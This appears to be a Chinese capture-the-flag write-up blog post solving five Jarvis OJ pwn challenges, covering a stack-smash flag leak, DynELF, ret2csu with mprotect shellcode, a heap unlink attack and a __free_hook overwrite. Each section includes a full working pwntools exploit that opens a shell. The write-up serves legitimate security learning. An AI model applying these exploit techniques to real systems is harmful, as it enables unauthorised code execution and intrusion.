刷Jarvis OJ时学到的新姿势[不定时更新]

0x00 前言

Pwn弱鸡,比赛划水,只好跟着大佬的博客刷刷一些题目才能维持尊严,在刷题目的时候又发现了一些新姿势,在此记录一下。持续龟速更新中


0x01 200pt Smashes

程序很简单,利用gets函数接受Name导致溢出,溢出到stack_check_fail函数报错的地方将服务端的flag给打印出来

主函数
服务端的flag
但有个很恶心的地方就是后面的循环函数,正如他所说的Please overwrite the flag,在这个地方有3个判断:

  • 如果你什么都不输入就直接跳到exit,根本不会触发stackcheckfail
  • 输入n(n<=32)个字符,就会将0x600d20+n的地方覆盖32-n0,而这个地址恰好就是flag所在的地址,就是无论如何输入都会将0x600d200x600d40这段地址都会被我们所复写或者被memset给填充为0

然后就卡在这里了,一直想如何绕过这个循环,然鹅并没有卵用,绕不过去。最终参考了一下大佬的博客,发现Linux下有个机制ELF重映射

ELF重映射:当可执行文件足够小时,在不同的区段可能被多次映射。

而这道题确实也就是考的这个,在gdb中可以看到在0x400000的地址将这个可执行文件重新映射了一遍,虽然我们覆盖掉了0x600d20处的flag但是在0x400d20处重映射的flag并没有被覆盖。

ELF重映射
脚本如下:

from pwn import *
local = 0
if local:
    p = process('./smashes')
else:
    p = remote('pwn.jarvisoj.com' , 9877)#nc pwn.jarvisoj.com 9877
flag_addr = 0x400D20
p.recvuntil('name? ')
name = p64(flag_addr) * 100 #懒到不想精确计算该改哪个位置于是直接暴力覆盖flag
p.sendline(name)
p.recvuntil('flag: ')
p.send('\x00')
p.interactive()

0x02 250pt level4

前几个level都是简单常见的栈溢出、ROP,到了第四个就很有意思了,虽然程序都是一样的,却没有给libc版本,用leak出来的地址去查也没有查到,在大佬的博客中看到了pwntools中的dynelf方法。
看看pwntools官方文档中的Example

# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data

# For the sake of this example, let's say that we
# have any of these pointers.  One is a pointer into
# the target binary, the other two are pointers into libc
main   = 0xfeedf4ce
libc   = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system')      == system

要使用dynelf首先得需要一个能够leak出地址的函数,然后需要知道main函数的地址或者直接有可执行文件,下面的一堆assert大概是校准?有了上述条件后dynelf就可以开始工作了,原理就是从内存里面逐个泄露出地址来暴力搜索想要找的函数。

所以这道题的基本思路就是通过read函数溢出构造好leak函数,用dynelf在内存中暴力搜索system实际地址,然后构造简单rop写/bin/sh并调用system函数即可。脚本如下:

from pwn import *
global p
local = 0
if local:
    p = process('./level4')
else:
    p = remote('pwn2.jarvisoj.com' , 9880)#nc pwn2.jarvisoj.com 9880

p3ret = 0x8048509
def leak(address): 
    elf = ELF('./level4')
    pay = 'a'*0x88 +'bbbb'
    pay += p32(elf.symbols['write']) + p32(p3ret) + p32(1) + p32(address) + p32(4)
    pay += p32(elf.symbols['main'])
    p.sendline(pay)
    data = p.recv(4)
    print "[*]leaking: " + data
    return data

elf = ELF('./level4')
dyn =  DynELF(leak, elf=ELF('./level4'))
bss_addr = 0x804A024
system_addr = dyn.lookup('system' , 'libc')
read_plt = elf.plt['read']
main_addr = elf.symbols['main']
payload = 'a' * 0x88 + 'xebp' + p32(read_plt) + p32(p3ret) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + 'xret' + p32(bss_addr)
p.sendline(payload)
p.interactive()

但不太清楚为什么明明通过system('/bin/sh')起的shell却只能执行一次命令。

只能执行一次命令


0x03 300pt level5

从level0到level5的程序都是差不多的,考点也都是栈溢出,也就是说level5是最高难度的了。程序很简单,可以直接溢出leak地址构rop起shell,但那是level3_x64,虽然程序是一模一样的,同一个脚本也能pwn通,但是题目假设除了一个环境:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。我跟着大牛的思路用mprotect函数,利用64位ELF文件的万能Gadget完成了本题。

主函数

mprotect函数
函数原型:int mprotect(const void *start, size_t len, int prot);
函数功能:把自start开始的、长度为len的内存区的保护属性修改为prot指定的值,其中prot的值就和Linux系统对应的属性值。

万能Gadget
在64位ELF文件中会有一个名叫__libc_csu_init的函数,看其中的汇编代码我们会发现可以通过我们的精心构造可以访问任何地方。我们可以先跳转到红色箭头的地方,控制rbxrbpr12r13r14r15这五个寄存器中的值,然后再ret蓝色箭头的地方,我们可以发现刚刚我们构造的r13r14r15中的值分别传递到了rdxrsirdi寄存器中。而熟悉的人肯定知道rdirsirdx中的值分别对应64位程序中调用函数的前三个参数。而且在这几句后面还有个call,这就很骚了,虽然后面是call [r12+rbx*8]看似很复杂的汇编语言,但是我们可以发现r12rbx的值在红色箭头那里我们都是可控的。如果我们将rbx中的值构造为0r12的值构造为我们想要跳转到一个指针p,这个指针p指向我们想要执行的函数f,那么我们就可以执行函数f了。而且,ELF文件中的got表中就有我们想要的指向函数的指针。

万能Gadget

  • 利用思路
    大概就是写shellcodebss段,调用mprotect函数修改bss段为可执行,然后再跳转到bss段去执行我们的shellcode。首先将shellcode写到bss段就简单栈溢出调用read函数就能实现,而后面两步就需要用到万能Gadget访问函数,那么我们肯定是要hijack got表嘛,那就在got表里面找两个不太用的到的函数hijack一下呗。脚本如下:
from pwn import *
context.arch = 'amd64'
local = 0
if local:
    p = process('./level5')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    gdb.attach(p , open('aa'))
else:
    p = remote('pwn2.jarvisoj.com' , 9884)#nc pwn2.jarvisoj.com 9884
    libc = ELF('./libc-2.19.so')


elf = ELF('./level5')
offset = 0x80
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss_addr = elf.bss()
main_addr = elf.symbols['main']
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006a6
evercall_addr = 0x400690

#step1 leak libc.addr
p.recvuntil('Input:\n')
payload1 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(read_got) + 'deadbeef' + p64(write_plt) + p64(main_addr)
p.send(payload1)
libc.address = u64(p.recv(8)) - libc.symbols['read']
print hex(libc.address)
#raw_input()

#step2 hijack __libc_start_main -> mprotect
p.recvuntil('Input:\n')
libc_start_main_got = elf.got['__libc_start_main']
payload2 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(libc_start_main_got) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload2)
mprotect_addr = libc.symbols['mprotect']
print hex(mprotect_addr)
p.send(p64(mprotect_addr))

#step3 write shellcode -> bss
p.recvuntil('Input:\n')
payload3 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload3)
shellcode = asm(shellcraft.amd64.sh())
print shellcode
p.send(shellcode)


#step4 hijack __gmon_start__ -> bss_shellcode
p.recvuntil('Input:\n')
gmon_start_got = elf.got['__gmon_start__']
payload4 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(gmon_start_got) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload4)
p.send(p64(bss_addr))
#raw_input()

#step5 using __libc_csu_init to call mprotect and change bss to executable and then execute shellcode
p.recvuntil('Input:\n')
payload5 = 'a' * offset + '__xebp__' + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + 'deadbeef' + p64(0) + p64(1) + p64(libc_start_main_got) + p64(7) + p64(0x1000) + p64(0x600000) + p64(evercall_addr) + 'deadbeef' + p64(0) + p64(1) + p64(gmon_start_got) + p64(0) + p64(0) + p64(0) + p64(evercall_addr) 
#                                                                           + 'deadbeef'    rbx      rbp      r12 -> call r12+rbx*8   r13 -> rdx  r14 -> rsi     r15 -> rdi
p.sendline(payload5)
p.interactive()

没有像大佬那样一次性把ROP链构造完全然后一次性把函数都劫持到位,但我觉得这样一步一步的逻辑清楚一些,也便于自己写脚本,然后值得一提的是在万能Gadget中若将rbx构造得比rbp少一,也就是rbx中为0rbp中为1,那么call完之后又会跳转到我们红色箭头那里然后又可以构造一次访问其他位置。(详情可以见call完后面的那串汇编代码)


0x04 400pt Guestbook2

前面都是栈漏洞,之后应该就是堆题了吧,根据ida可以分析出结构体如下

struct heap{
    int inuse;
    int length;
    char *post;
}
  • 漏洞位置
    漏洞出在edit函数,在编辑已经定义的post时可以任意指定修改长度,并且realloc不会清空堆上的内容。以及del函数在free堆块后没有释放指针,造成存在Dangling Pointer
edit

del

unlink

  • 利用原理
    free一个大小在fastbin以上的chunk时,会检查该chunk物理地址相连的两个chunk,并执行下面的逻辑:
free(chunk)
if(prev_chunk == freed)
    unlink(prev_chunk)          //将两个chunk合并
if(next_chunk == top_chunk)
    ......                     //合并到top_chunk
else if(next_chunk == freed)
    unlink(next_chunk)        //将两个chunk合并
to_unsortbin(chunk)          //将经过处理合并后的chunk归入unsortbin

unlink的时候会执行如下操作指针的代码,并且如今还有safe_unlinkcheck机制。

unlink(P, BK, FD) {                                            
    FD = P->fd;                                     
    BK = P->bk;                                     
    if(__builtin_expect (FD->bk != P || BK->fd != P, 0))                              //safe_unlink
        malloc_printerr (check_action, "corrupted double-linked list", P);      
    else{                                   
        FD->bk = BK;                                
        BK->fd = FD;              
       .........................................
    }
}
  • 构造条件
    红色边框中的一个大堆块构造两个小堆块,大小都在unsort bin的范围内,并且将要free的堆块(黑色箭头所指)的前一个堆块为freed的状态,也就是该堆块的size位(绿色箭头所指)的prev_inuse0,同样因为该堆块为inused状态,故下一堆块的size位(紫色箭头所指)的prev_inuse1。这样就构造好了触发unlink的条件,此时free该堆块会导致前一个堆块进行unlink操作,现在要构造绕过safe_unlinkcheck了。也就是需要有一个指针指向前一个堆块的堆头处也就是如红色箭头所示ptr指向fake_prev,并且将该伪堆块的fdbk分别布置为ptr-0x18ptr-0x10(32位时为ptr-0xcptr-0x8),这样就可以满足unsafe_unlinkcheck了。
  • 触发效果
    unlink红色箭头所指的堆块后,指针ptr所指会由刚刚的fake_prev变成ptr-0x18的位置(红色箭头变为蓝色箭头),再编辑ptr的时候就能够覆盖到ptr本身实现后续利用。
    unlink
  • 利用思路
    add堆块并free掉一个保证堆上有指向libc的指针,edit前一个结构体导致堆溢出覆盖掉后面的post后再通过list可泄露出libc的基址,再在后面的堆块中通过溢出构造unlink最终起shell

  • my-exp

from pwn import *
local = 1
if local:
    p = process('./guestbook2')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    #gdb.attach(p)# , open('aa'))
else:
    p = remote('pwn.jarvisoj.com' , 9879)#nc pwn.jarvisoj.com 9879
    libc = ELF('./libc.so.6')

def lst():
    p.recvuntil('choice: ')
    p.sendline('1')
    return p.recvuntil('\n== PCTF')[:-8]

def add(length , content):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('new post: ')
    p.sendline(str(length))
    p.recvuntil('your post: ')
    p.send(content)
    sleep(0.1)

def edit(num , length , content):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('number: ')
    p.sendline(str(num))
    p.recvuntil('of post: ')
    p.sendline(str(length))
    p.recvuntil('your post: ')
    p.send(content)
    sleep(0.1)

def dele(num):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('number: ')
    p.sendline(str(num))
    sleep(0.1)

elf = ELF('./guestbook2')
for i in range(5):
    add(0x80 , str(i)*0x80)

#Make freed_chunk1_fd be chunk3_ptr then leak heap base
dele(3)
dele(1) #We have a dangling_ptr
edit(0 , 0x90 , 'a' * 0x20)
#gdb.attach(p)

a = lst().split('\n')[0][0x93:]
heap_base = u64(a + '\x00' * (8 - len(a))) - 0x19d0
chunk0_addr = heap_base + 0x30
success('heap_base => ' + hex(heap_base))
success('chunk0_addr => ' + hex(chunk0_addr))

#Make a fake_chunk satisfied the condition of unlink
payload = p64(0) + p64(0x80) + p64(chunk0_addr - 0x18) + p64(chunk0_addr - 0x10) + 'a' * 0x60 + p64(0x80) + p64(0x90) + 'a' * 0x70
#   fake_prev_size  fake_size   fake_fd = ptr - 0x18      fake_bk = ptr - 0x10        mess  chunk1_prev_size chunk1_size mess duiqi 0x80
print hex(len(payload))
edit(0 , len(payload) , payload)

#gdb.attach(p)
#trigger unlink
dele(1)
#result:  chunk0_addr = chunk0_addr - 0x18

#leak libc.address & get system_address 
atoi_got = elf.got['atoi']
payload = p64(2) + p64(1) + p64(0x100) + p64(chunk0_addr - 0x18) + p64(1) + p64(8) + p64(atoi_got)
payload += '\x00' * (0x100 - len(payload))
edit(0 , len(payload) , payload)
a = lst().split('1. ')[1]
atoi_addr = u64(a + '\x00' * (8 - len(a)))
libc.address = atoi_addr - libc.symbols['atoi']
system_addr = libc.symbols['system']
success('atoi_addr => ' + hex(atoi_addr))
success('libc_base => ' + hex(libc.address))
success('system_addr => ' + hex(system_addr))

#write atoi to system & get shell
edit(1 , 8 , p64(system_addr)) 
p.sendline('/bin/sh\x00')

p.interactive()

0x05 450pt ItemBoard

题目没有去符号表,根据ida可分析出item数据结构如下:

struct item{
    char *name;
    char *description;
    void (*item_free)();
}
  • 漏洞位置
    漏洞位于new_item函数中,在输入description时给中间变量buf的长度可控,而bufchar buf[1024],此处存在缓冲区溢出。此外在执行item_free时只没有清除指针,并且在list_itemshow_item的时候没有检查是否inuse
    new_item

    item_free

    list_item

    show_item
  • 善于利用栈上的结构体,并结合代码段的写操作构造合理的覆盖
  • __free_hook_ptr的定位,pwntools库中的libc.symbols无法定位到__free_hook_ptrida中查找也不是特别方便,只好在调试时先确定__free_hook的地址,再用find的指令查找__free_hook再减去libc基址便可得到__free_hook_ptr的偏移。
  • 在远程使用不同的libc时通过freed unsort bin上指向main_arena泄露地址找libc基址时偏移与本地不同的方法:可先减去__malloc_hook的偏移,然后再强行页对齐,由于main_arena__malloc_hook下面不远处,所以先减去__malloc_hook后,离页对齐差的不是很多,可以一眼看出来该如何对齐。
  • 利用思路
    第一步,先构造freeunsort bin上的堆块,free后产生指向main_arena的地址,并通过show_itemleaklibc的基址。第二步,通过控制v2溢出buf并且继续向下覆盖掉i栈上的item结构体,在下面strcpy的时候,将buf赋值给覆盖后新的item + 8指向的地方。正常情况下我们会将free_hook改成system函数,所以我们可将item覆盖为+8后指向free_hook的地方。恰好,在libc里面会有一个__free_hook_ptr是指向__free_hook的。所以整体思路为:泄露出libc基址后,将栈上的item结构体指针覆盖为__free_hook_ptr - 8,然后通过strcpy__free_hook覆盖为system地址,然后free掉写有/bin/sh的堆块即可get shell

  • my-exp

from pwn import *
local = 0
---
if local:
    p = process('./itemboard')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p = remote('pwn2.jarvisoj.com' , 9887)#nc pwn2.jarvisoj.com 9887
    libc = ELF('./libc-2.19.so')
elf = ELF('./itemboard')

def add(name , length , description):
    p.recvuntil('choose:\n')
    p.sendline('1')
    sleep(0.1)
    p.recvuntil('name?\n')
    p.sendline(name)
    sleep(0.1)
    p.recvuntil('len?\n')
    p.sendline(str(length))
    sleep(0.1)
    p.recvuntil('Description?\n')
    p.sendline(description)
    sleep(0.1)

def lst():
    p.recvuntil('choose:\n')
    p.sendline('2')
    return p.recvuntil('1.Add')[:-6]

def show(no):
    p.recvuntil('choose:\n')
    p.sendline('3')
    p.recvuntil('item?\n')
    p.sendline(str(no))
    a = p.recvuntil('1.Add')[:-6]
    name = a.split('\nDescription:')[0].split('Name:')[1]
    description = a.split('\nDescription:')[1]
    return name , description

def remove(no):
    p.recvuntil('choose:\n')
    p.sendline('4')
    p.recvuntil('item?\n')
    p.sendline(str(no))

def debug():
    print pidof(p)[0]
    raw_input()

add('a' * 0x10 , 0x80 , '1' * 4 + 'Just A Fish Test' + '2' * 4)
add('b' * 0x10 , 0x80 , '3' * 4 + 'Just A Fish Test' + '4' * 4)
add('c' * 0x10 , 0x80 , '5' * 4 + 'Just A Fish Test' + '6' * 4)
remove(1)

if local:
    libc.address = u64(show(1)[1] + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x68
    free_hook_ptr = libc.address + 0x3c3ef8
else:
    libc.address = u64(show(1)[1] + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x78
    free_hook_ptr = libc.address + 0x3bdee8
    
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('free_hook_ptr => ' + hex(free_hook_ptr))
success('system_addr = > ' + hex(system_addr))
add('/bin/sh\x00' , 0x410 , p64(system_addr) + 'a' * 0x400 + p64(free_hook_ptr - 8))
remove(3)
#debug()
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342

推荐阅读更多精彩内容